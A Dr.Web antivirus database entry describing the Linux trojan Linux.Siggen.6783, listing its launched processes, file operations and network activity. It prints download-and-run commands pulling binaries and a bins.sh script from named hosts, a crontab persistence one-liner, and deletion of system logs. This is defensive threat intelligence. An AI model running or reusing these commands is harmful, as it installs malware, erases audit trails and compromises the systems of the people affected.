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Linux.Siggen.6783

Added to the Dr.Web virus database: 2024-03-18

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • /bin/bash
Launches processes:
  • chmod 777 mpsl
  • rm -rf mips
  • sh bins.sh
  • rm -rf arm6
  • rm -rf x86
  • rm -rf arm4
  • rm -rf arm7
  • (crontab -l ; echo \x22@reboot /bin/bash -c \x22cd /tmp; wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
  • chmod 777 arm5
  • /bin/busybox wget http://194.169.175.43/mips
  • chmod 777 x86_64
  • chmod 777 arm6
  • crontab -l
  • rm -rf x86_64
  • wget http://194.169.175.43/arm6
  • crontab -
  • wget http://194.169.175.43/arm7
  • /bin/busybox curl -O http://194.169.175.43/x86_64
  • rm -rf arm5
  • rm -rf mpsl
  • wget http://194.169.175.43/arm4
  • /bin/busybox curl -O http://194.169.175.43/mpsl
  • wget http://194.169.175.43/mips
  • wget http://194.169.175.43/arm5
  • chmod +x bins.sh
  • /bin/busybox wget http://194.169.175.43/arm5
  • /bin/busybox wget http://194.169.175.43/x86
  • /bin/busybox curl -O http://194.169.175.43/mips
  • chmod 777 mips
  • /bin/busybox wget http://194.169.175.43/x86_64
  • /bin/busybox wget http://194.169.175.43/arm7
  • /bin/busybox wget http://194.169.175.43/mpsl
  • wget http://194.169.175.43/x86_64
  • chmod 777 x86
  • chmod 777 arm7
  • /bin/busybox wget http://194.169.175.43/arm4
  • /bin/busybox wget http://194.169.175.43/arm6
  • wget http://rebirthltd.com/bins.sh
  • wget http://194.169.175.43/mpsl
  • chmod 777 arm4
Performs operations with the file system:
Modifies file access rights:
  • /bins.sh
Deletes folders:
  • /var/spool/cron/crontabs/tmp.T1fbpU
  • /var/log/syslog
  • /null
  • /var/log/daemon.log
  • /tmp/clearsigned.message.5jVi3m
  • /tmp/clearsigned.message.nukhbI
  • /tmp/mpsl
  • /tmp/clearsigned.message.2WptGW
  • /tmp/clearsigned.message.HFXvlB
  • /var/log/btmp
  • /var/log/kern.log.1.gz
  • /tmp/mips
  • /tmp/x86_64
  • /tmp/arm4
  • /tmp/arm5
  • /tmp/arm6
  • /tmp/arm7
  • /tmp/x86
  • /var/log/auth.log.1.gz
  • /var/log/debug.1.gz
  • /var/log/messages.1.gz
  • /var/log/kern.log
  • /var/log/auth.log
  • /var/log/debug
  • /var/log/messages
  • /var/lib/logrotate/status.tmp
Creates or modifies files:
  • /self
  • /proc/490/cmdline
  • /dev/full
  • /bins.sh
  • /tmp/mpsl
  • /tmp/mpsl (deleted)
  • /tmp/mips
  • /tmp/x86_64
  • /tmp/x86_64 (deleted)
  • /tmp/arm4
  • /tmp/arm4 (deleted)
  • /tmp/arm5
  • /tmp/arm5 (deleted)
  • /tmp/arm6
  • /tmp/arm6 (deleted)
  • /tmp/arm7
  • /tmp/arm7 (deleted)
  • /tmp/x86
  • /tmp/x86 (deleted)
  • /tmp/mips (deleted)
Deletes files:
  • /var/spool/cron/crontabs/tmp.T1fbpU
  • /var/log/syslog
  • /null
  • /var/log/daemon.log
  • /tmp/clearsigned.message.5jVi3m
  • /tmp/clearsigned.message.nukhbI
  • /tmp/mpsl
  • /tmp/clearsigned.message.2WptGW
  • /tmp/clearsigned.message.HFXvlB
  • /var/log/btmp
  • /var/log/kern.log.1.gz
  • /tmp/mips
  • /tmp/x86_64
  • /tmp/arm4
  • /tmp/arm5
  • /tmp/arm6
  • /tmp/arm7
  • /tmp/x86
  • /var/log/auth.log.1.gz
  • /var/log/debug.1.gz
  • /var/log/messages.1.gz
  • /var/log/kern.log
  • /var/log/auth.log
  • /var/log/debug
  • /var/log/messages
  • /var/lib/logrotate/status.tmp
Changes time of creation/access/modification of files:
  • /var/spool/cron/bins.sh
  • /tmp/mpsl
  • /tmp/mips
  • /tmp/x86_64
  • /tmp/arm4
  • /tmp/arm5
  • /tmp/arm6
  • /tmp/arm7
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:8345
Establishes connection:
  • 8.#.8.8:53
  • 19#.##9.175.43:80
DNS ASK:
  • re###thltd.com
Sends data to the following servers:
  • 19#.##9.175.43:80
Receives data from the following servers:
  • 19#.##9.175.43:80

Curing recommendations


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